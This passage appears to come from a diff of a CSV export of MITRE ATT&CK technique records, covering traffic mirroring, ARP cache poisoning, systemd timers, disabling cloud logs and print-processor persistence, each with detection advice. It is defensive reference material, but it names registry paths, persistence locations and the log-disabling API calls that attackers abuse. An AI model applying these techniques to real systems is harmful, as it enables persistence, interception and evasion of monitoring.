validate that the policy enforcement sections are what was intended. Look for rules that are less restrictive, or that allow specific traffic types that were not previously authorized.",False,['Administrator'],['Network'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1020/001', 'external_id': 'T1020.001'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/117.html', 'external_id': 'CAPEC-117'}, {'source_name': 'Cisco Traffic Mirroring', 'description': 'Cisco. (n.d.). Cisco IOS XR Interface and Hardware Component Configuration Guide for the Cisco CRS Router, Release 5.1.x. Retrieved October 19, 2020.', 'url': 'https://www.cisco.com/c/en/us/td/docs/routers/crs/software/crs_r5-1/interfaces/configuration/guide/hc51xcrsbook/hc51span.html'}, {'source_name': 'Juniper Traffic Mirroring', 'description': 'Juniper. (n.d.). Understanding Port Mirroring on EX2200, EX3200, EX3300, EX4200, EX4500, EX4550, EX6200, and EX8200 Series Switches. Retrieved October 19, 2020.', 'url': 'https://www.juniper.net/documentation/en_US/junos/topics/concept/port-mirroring-ex-series.html'}, {'source_name': 'US-CERT-TA18-106A', 'description': 'US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA18-106A'}, {'source_name': 'Cisco Blog Legacy Device Attacks', 'description': 'Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.', 'url': 'https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954'}]",1.1,attack-pattern,attack-pattern--7c46b364-8496-4234-8a56-f7e6727e21e1,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-19T13:40:11.118Z,2021-08-16T15:23:37.640Z,Traffic Duplication,"Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised network infrastructure. Traffic mirroring is a native feature for some network devices and used for network analysis and may be configured to duplicate traffic and forward to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring) (Citation: Juniper Traffic Mirroring) -Adversaries may abuse traffic mirroring to mirror or redirect network traffic through other network infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) Adversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary.",attack-pattern--7c46b364-8496-4234-8a56-f7e6727e21e1,attack-pattern,['exfiltration'],2020-10-22T02:24:54.640Z,2020-10-19T13:40:11.118Z,"Monitor network traffic for uncommon data flows (e.g. unusual network communications, suspicious communications that have never been seen before, communications sending fixed size data packets at regular intervals). Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. ","['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow']",,,['Administrator'],['Network'],,CAPEC-117,https://capec.mitre.org/data/definitions/117.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1557.002', 'url': 'https://attack.mitre.org/techniques/T1557/002'}, {'source_name': 'RFC826 ARP', 'url': 'https://tools.ietf.org/html/rfc826', 'description': 'Plummer, D. (1982, November). An Ethernet Address Resolution Protocol. Retrieved October 15, 2020.'}, {'source_name': 'Sans ARP Spoofing Aug 2003', 'url': 'https://pen-testing.sans.org/resources/papers/gcih/real-world-arp-spoofing-105411', 'description': 'Siles, R. (2003, August). Real World ARP Spoofing. Retrieved October 15, 2020.'}, {'source_name': 'Cylance Cleaver', 'description': 'Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.', 'url': 'https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]",1.0,True,https://attack.mitre.org/techniques/T1557/002,mitre-attack,T1557.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,ARP Cache Poisoning,"Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). +Adversaries may abuse traffic mirroring to mirror or redirect network traffic through other network infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) Adversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary.",['exfiltration'],https://attack.mitre.org/techniques/T1020/001,mitre-attack,T1020.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow']",,"Monitor network traffic for uncommon data flows (e.g. unusual network communications, suspicious communications that have never been seen before, communications sending fixed size data packets at regular intervals). Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. ",True,['Administrator'],['Network'],,CAPEC-117,https://capec.mitre.org/data/definitions/117.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1557/002', 'external_id': 'T1557.002'}, {'source_name': 'RFC826 ARP', 'description': 'Plummer, D. (1982, November). An Ethernet Address Resolution Protocol. Retrieved October 15, 2020.', 'url': 'https://tools.ietf.org/html/rfc826'}, {'source_name': 'Sans ARP Spoofing Aug 2003', 'description': 'Siles, R. (2003, August). Real World ARP Spoofing. Retrieved October 15, 2020.', 'url': 'https://pen-testing.sans.org/resources/papers/gcih/real-world-arp-spoofing-105411'}, {'source_name': 'Cylance Cleaver', 'description': 'Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.', 'url': 'https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf'}]",1.1,attack-pattern,attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-15T12:05:58.755Z,2021-07-28T01:04:39.141Z,ARP Cache Poisoning,"Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). The ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address.(Citation: RFC826 ARP) Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache. @@ -254,385 +363,425 @@ An adversary may passively wait for an ARP request to poison the ARP cache of th The ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: Cylance Cleaver) -Adversaries may use ARP cache poisoning as a means to man-in-the-middle (MiTM) network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003) -",attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213,attack-pattern,"['credential-access', 'collection']",2021-04-21T16:41:35.256Z,2020-10-15T12:05:58.755Z,"Monitor network traffic for unusual ARP traffic, gratuitous ARP replies may be suspicious. +Adversaries may use ARP cache poisoning as a means to intercept network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003) +","['credential-access', 'collection']",https://attack.mitre.org/techniques/T1557/002,mitre-attack,T1557.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Jon Sternstein, Stern Security']","['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,"Monitor network traffic for unusual ARP traffic, gratuitous ARP replies may be suspicious. -Consider collecting changes to ARP caches across endpoints for signs of ARP poisoning. For example, if multiple IP addresses map to a single MAC address, this could be an indicator that the ARP cache has been poisoned.","['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']","['Jon Sternstein, Stern Security']",,['User'],"['Linux', 'Windows', 'macOS']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1588.006', 'url': 'https://attack.mitre.org/techniques/T1588/006'}, {'source_name': 'National Vulnerability Database', 'url': 'https://nvd.nist.gov/', 'description': 'National Vulnerability Database. (n.d.). National Vulnerability Database. Retrieved October 15, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]",1.0,True,https://attack.mitre.org/techniques/T1588/006,mitre-attack,T1588.006,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Vulnerabilities,"Adversaries may acquire information about vulnerabilities that can be used during targeting. A vulnerability is a weakness in computer hardware or software that can, potentially, be exploited by an adversary to cause unintended or unanticipated behavior to occur. Adversaries may find vulnerability information by searching open databases or gaining access to closed vulnerability databases.(Citation: National Vulnerability Database) +Consider collecting changes to ARP caches across endpoints for signs of ARP poisoning. For example, if multiple IP addresses map to a single MAC address, this could be an indicator that the ARP cache has been poisoned.",True,['User'],"['Linux', 'Windows', 'macOS']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1588/006', 'external_id': 'T1588.006'}, {'source_name': 'National Vulnerability Database', 'description': 'National Vulnerability Database. (n.d.). National Vulnerability Database. Retrieved October 15, 2020.', 'url': 'https://nvd.nist.gov/'}]",1.0,attack-pattern,attack-pattern--2b5aa86b-a0df-4382-848d-30abea443327,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-15T02:59:38.628Z,2021-04-15T03:16:32.119Z,Vulnerabilities,"Adversaries may acquire information about vulnerabilities that can be used during targeting. A vulnerability is a weakness in computer hardware or software that can, potentially, be exploited by an adversary to cause unintended or unanticipated behavior to occur. Adversaries may find vulnerability information by searching open databases or gaining access to closed vulnerability databases.(Citation: National Vulnerability Database) -An adversary may monitor vulnerability disclosures/databases to understand the state of existing, as well as newly discovered, vulnerabilities. There is usually a delay between when a vulnerability is discovered and when it is made public. An adversary may target the systems of those known to conduct vulnerability research (including commercial vendors). Knowledge of a vulnerability may cause an adversary to search for an existing exploit (i.e. [Exploits](https://attack.mitre.org/techniques/T1588/005)) or to attempt to develop one themselves (i.e. [Exploits](https://attack.mitre.org/techniques/T1587/004)).",attack-pattern--2b5aa86b-a0df-4382-848d-30abea443327,attack-pattern,['resource-development'],2021-04-15T03:16:32.119Z,2020-10-15T02:59:38.628Z,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the potential use of exploits for vulnerabilities (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1053.006', 'url': 'https://attack.mitre.org/techniques/T1053/006'}, {'source_name': 'archlinux Systemd Timers Aug 2020', 'url': 'https://wiki.archlinux.org/index.php/Systemd/Timers', 'description': 'archlinux. (2020, August 11). systemd/Timers. Retrieved October 12, 2020.'}, {'source_name': 'Linux man-pages: systemd January 2014', 'url': 'http://man7.org/linux/man-pages/man1/systemd.1.html', 'description': 'Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019.'}, {'description': 'Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux AUR Package Repository. Retrieved April 23, 2019.', 'url': 'https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/', 'source_name': 'Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018'}, {'description': 'Catalin Cimpanu. (2018, July 10). ~x file downloaded in public Arch package compromise. Retrieved April 23, 2019.', 'url': 'https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a', 'source_name': 'gist Arch package compromise 10JUL2018'}, {'description': 'Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved April 23, 2019.', 'url': 'https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html', 'source_name': 'acroread package compromised Arch Linux Mail 8JUL2018'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.0,True,https://attack.mitre.org/techniques/T1053/006,mitre-attack,T1053.006,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Systemd Timers,"Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension .timer that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) +An adversary may monitor vulnerability disclosures/databases to understand the state of existing, as well as newly discovered, vulnerabilities. There is usually a delay between when a vulnerability is discovered and when it is made public. An adversary may target the systems of those known to conduct vulnerability research (including commercial vendors). Knowledge of a vulnerability may cause an adversary to search for an existing exploit (i.e. [Exploits](https://attack.mitre.org/techniques/T1588/005)) or to attempt to develop one themselves (i.e. [Exploits](https://attack.mitre.org/techniques/T1587/004)).",['resource-development'],https://attack.mitre.org/techniques/T1588/006,mitre-attack,T1588.006,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the potential use of exploits for vulnerabilities (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1053/006', 'external_id': 'T1053.006'}, {'source_name': 'archlinux Systemd Timers Aug 2020', 'description': 'archlinux. (2020, August 11). systemd/Timers. Retrieved October 12, 2020.', 'url': 'https://wiki.archlinux.org/index.php/Systemd/Timers'}, {'source_name': 'Systemd Remote Control', 'description': 'Aaron Kili. (2018, January 16). How to Control Systemd Services on Remote Linux Server. Retrieved July 26, 2021.', 'url': 'https://www.tecmint.com/control-systemd-services-on-remote-linux-server/'}, {'source_name': 'Linux man-pages: systemd January 2014', 'description': 'Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019.', 'url': 'http://man7.org/linux/man-pages/man1/systemd.1.html'}, {'source_name': 'Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018', 'description': 'Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux AUR Package Repository. Retrieved April 23, 2019.', 'url': 'https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/'}, {'source_name': 'gist Arch package compromise 10JUL2018', 'description': 'Catalin Cimpanu. (2018, July 10). ~x file downloaded in public Arch package compromise. Retrieved April 23, 2019.', 'url': 'https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a'}, {'source_name': 'acroread package compromised Arch Linux Mail 8JUL2018', 'description': 'Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved April 23, 2019.', 'url': 'https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html'}]",1.1,attack-pattern,attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-12T17:50:31.584Z,2021-07-27T16:43:25.027Z,Systemd Timers,"Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension .timer that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the systemctl command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control) Each .timer file must have a corresponding .service file with the same name, e.g., example.timer and example.service. .service files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to /etc/systemd/system/ and /usr/lib/systemd/system while user level are written to ~/.config/systemd/user/. -An adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.",attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21,attack-pattern,"['execution', 'persistence', 'privilege-escalation']",2020-10-14T15:20:00.754Z,2020-10-12T17:50:31.584Z,"Systemd timer unit files may be detected by auditing file creation and modification events within the /etc/systemd/system, /usr/lib/systemd/system/, and ~/.config/systemd/user/ directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of ‘systemd’, a parent process ID of 1, and will usually execute as the ‘root’ user. +An adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.","['execution', 'persistence', 'privilege-escalation']",https://attack.mitre.org/techniques/T1053/006,mitre-attack,T1053.006,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['SarathKumar Rajendran, Trimble Inc']","['Scheduled Job: Scheduled Job Creation', 'Command: Command Execution', 'File: File Modification', 'Process: Process Creation']",,"Systemd timer unit files may be detected by auditing file creation and modification events within the /etc/systemd/system, /usr/lib/systemd/system/, and ~/.config/systemd/user/ directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of ‘systemd’, a parent process ID of 1, and will usually execute as the ‘root’ user. Suspicious systemd timers can also be identified by comparing results against a trusted system baseline. Malicious systemd timers may be detected by using the systemctl utility to examine system wide timers: systemctl list-timers –all. Analyze the contents of corresponding .service files present on the file system and ensure that they refer to legitimate, expected executables. -Audit the execution and command-line arguments of the 'systemd-run' utility as it may be used to create timers.(Citation: archlinux Systemd Timers Aug 2020)","['Scheduled Job: Scheduled Job Creation', 'Command: Command Execution', 'File: File Modification', 'Process: Process Creation']","['SarathKumar Rajendran, Trimble Inc']",,"['User', 'root']",['Linux'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1562.008', 'url': 'https://attack.mitre.org/techniques/T1562/008'}, {'source_name': 'Following the CloudTrail: Generating strong AWS security signals with Sumo Logic', 'url': 'https://expel.io/blog/following-cloudtrail-generating-aws-security-signals-sumo-logic/', 'description': 'Dan Whalen. (2019, September 10). Following the CloudTrail: Generating strong AWS security signals with Sumo Logic. Retrieved October 16, 2020.'}, {'source_name': 'Stopping CloudTrail from Sending Events to CloudWatch Logs', 'url': 'https://docs.aws.amazon.com/awscloudtrail/latest/userguide/stop-cloudtrail-from-sending-events-to-cloudwatch-logs.html', 'description': 'Amazon Web Services. (n.d.). Stopping CloudTrail from Sending Events to CloudWatch Logs. Retrieved October 16, 2020.'}, {'source_name': 'Configuring Data Access audit logs', 'url': 'https://cloud.google.com/logging/docs/audit/configure-data-access', 'description': 'Google. (n.d.). Configuring Data Access audit logs. Retrieved October 16, 2020.'}, {'source_name': 'az monitor diagnostic-settings', 'url': 'https://docs.microsoft.com/en-us/cli/azure/monitor/diagnostic-settings?view=azure-cli-latest#az_monitor_diagnostic_settings_delete', 'description': 'Microsoft. (n.d.). az monitor diagnostic-settings. Retrieved October 16, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.1,True,https://attack.mitre.org/techniques/T1562/008,mitre-attack,T1562.008,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Disable Cloud Logs,"An adversary may disable cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. +Audit the execution and command-line arguments of the 'systemd-run' utility as it may be used to create timers.(Citation: archlinux Systemd Timers Aug 2020)",True,"['User', 'root']",['Linux'],True,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1562/008', 'external_id': 'T1562.008'}, {'source_name': 'Following the CloudTrail: Generating strong AWS security signals with Sumo Logic', 'description': 'Dan Whalen. (2019, September 10). Following the CloudTrail: Generating strong AWS security signals with Sumo Logic. Retrieved October 16, 2020.', 'url': 'https://expel.io/blog/following-cloudtrail-generating-aws-security-signals-sumo-logic/'}, {'source_name': 'Stopping CloudTrail from Sending Events to CloudWatch Logs', 'description': 'Amazon Web Services. (n.d.). Stopping CloudTrail from Sending Events to CloudWatch Logs. Retrieved October 16, 2020.', 'url': 'https://docs.aws.amazon.com/awscloudtrail/latest/userguide/stop-cloudtrail-from-sending-events-to-cloudwatch-logs.html'}, {'source_name': 'Configuring Data Access audit logs', 'description': 'Google. (n.d.). Configuring Data Access audit logs. Retrieved October 16, 2020.', 'url': 'https://cloud.google.com/logging/docs/audit/configure-data-access'}, {'source_name': 'az monitor diagnostic-settings', 'description': 'Microsoft. (n.d.). az monitor diagnostic-settings. Retrieved October 16, 2020.', 'url': 'https://docs.microsoft.com/en-us/cli/azure/monitor/diagnostic-settings?view=azure-cli-latest#az_monitor_diagnostic_settings_delete'}]",1.1,attack-pattern,attack-pattern--cacc40da-4c9e-462c-80d5-fd70a178b12d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-12T13:52:32.846Z,2021-03-15T16:43:04.273Z,Disable Cloud Logs,"An adversary may disable cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. -Cloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an attacker has sufficient permissions, they can disable logging to avoid detection of their activities. For example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity.(Citation: Following the CloudTrail: Generating strong AWS security signals with Sumo Logic)",attack-pattern--cacc40da-4c9e-462c-80d5-fd70a178b12d,attack-pattern,['defense-evasion'],2021-03-15T16:43:04.273Z,2020-10-12T13:52:32.846Z,"Monitor logs for API calls to disable logging. In AWS, monitor for: StopLogging and DeleteTrail.(Citation: Stopping CloudTrail from Sending Events to CloudWatch Logs) In GCP, monitor for: google.logging.v2.ConfigServiceV2.UpdateSink.(Citation: Configuring Data Access audit logs) In Azure, monitor for az monitor diagnostic-settings delete.(Citation: az monitor diagnostic-settings) Additionally, a sudden loss of a log source may indicate that it has been disabled.","['Cloud Service: Cloud Service Modification', 'Cloud Service: Cloud Service Disable']","['Syed Ummar Farooqh, McAfee', 'Prasad Somasamudram, McAfee', 'Sekhar Sarukkai, McAfee ', 'Ibrahim Ali Khan', 'Alex Soler, AttackIQ', 'Janantha Marasinghe', 'Matt Snyder, VMware']",,['User'],['IaaS'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1547.012', 'url': 'https://attack.mitre.org/techniques/T1547/012'}, {'source_name': 'Microsoft AddPrintProcessor May 2018', 'url': 'https://docs.microsoft.com/en-us/windows/win32/printdocs/addprintprocessor', 'description': 'Microsoft. (2018, May 31). AddPrintProcessor function. Retrieved October 5, 2020.'}, {'source_name': 'ESET PipeMon May 2020', 'url': 'https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/', 'description': 'Tartare, M. et al. (2020, May 21). No “Game over” for the Winnti Group. Retrieved August 24, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.0,True,https://attack.mitre.org/techniques/T1547/012,mitre-attack,T1547.012,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Print Processors,"Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, spoolsv.exe, during boot. +Cloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an attacker has sufficient permissions, they can disable logging to avoid detection of their activities. For example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity.(Citation: Following the CloudTrail: Generating strong AWS security signals with Sumo Logic)",['defense-evasion'],https://attack.mitre.org/techniques/T1562/008,mitre-attack,T1562.008,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Syed Ummar Farooqh, McAfee', 'Prasad Somasamudram, McAfee', 'Sekhar Sarukkai, McAfee ', 'Ibrahim Ali Khan', 'Alex Soler, AttackIQ', 'Janantha Marasinghe', 'Matt Snyder, VMware']","['Cloud Service: Cloud Service Modification', 'Cloud Service: Cloud Service Disable']",,"Monitor logs for API calls to disable logging. In AWS, monitor for: StopLogging and DeleteTrail.(Citation: Stopping CloudTrail from Sending Events to CloudWatch Logs) In GCP, monitor for: google.logging.v2.ConfigServiceV2.UpdateSink.(Citation: Configuring Data Access audit logs) In Azure, monitor for az monitor diagnostic-settings delete.(Citation: az monitor diagnostic-settings) Additionally, a sudden loss of a log source may indicate that it has been disabled.",True,['User'],['IaaS'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1547/012', 'external_id': 'T1547.012'}, {'source_name': 'Microsoft AddPrintProcessor May 2018', 'description': 'Microsoft. (2018, May 31). AddPrintProcessor function. Retrieved October 5, 2020.', 'url': 'https://docs.microsoft.com/en-us/windows/win32/printdocs/addprintprocessor'}, {'source_name': 'ESET PipeMon May 2020', 'description': 'Tartare, M. et al. (2020, May 21). No “Game over” for the Winnti Group. Retrieved August 24, 2020.', 'url': 'https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/'}]",1.0,attack-pattern,attack-pattern--2de47683-f398-448f-b947-9abcc3e32fad,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-05T13:24:49.780Z,2020-10-09T16:05:36.344Z,Print Processors,"Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, spoolsv.exe, during boot. -Adversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the AddPrintProcessor API call with an account that has SeLoadDriverPrivilege enabled. Alternatively, a print processor can be registered to the print spooler service by adding the HKLM\SYSTEM\\[CurrentControlSet or ControlSet001]\Control\Print\Environments\\[Windows architecture: e.g., Windows x64]\Print Processors\\[user defined]\Driver Registry key that points to the DLL. For the print processor to be correctly installed, it must be located in the system print-processor directory that can be found with the GetPrintProcessorDirectory API call.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020) The print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.",attack-pattern--2de47683-f398-448f-b947-9abcc3e32fad,attack-pattern,"['persistence', 'privilege-escalation']",2020-10-09T16:05:36.344Z,2020-10-05T13:24:49.780Z,"Monitor process API calls to AddPrintProcessor and GetPrintProcessorDirectory. New print processor DLLs are written to the print processor directory. Also monitor Registry writes to HKLM\SYSTEM\ControlSet001\Control\Print\Environments\\[Windows architecture]\Print Processors\\[user 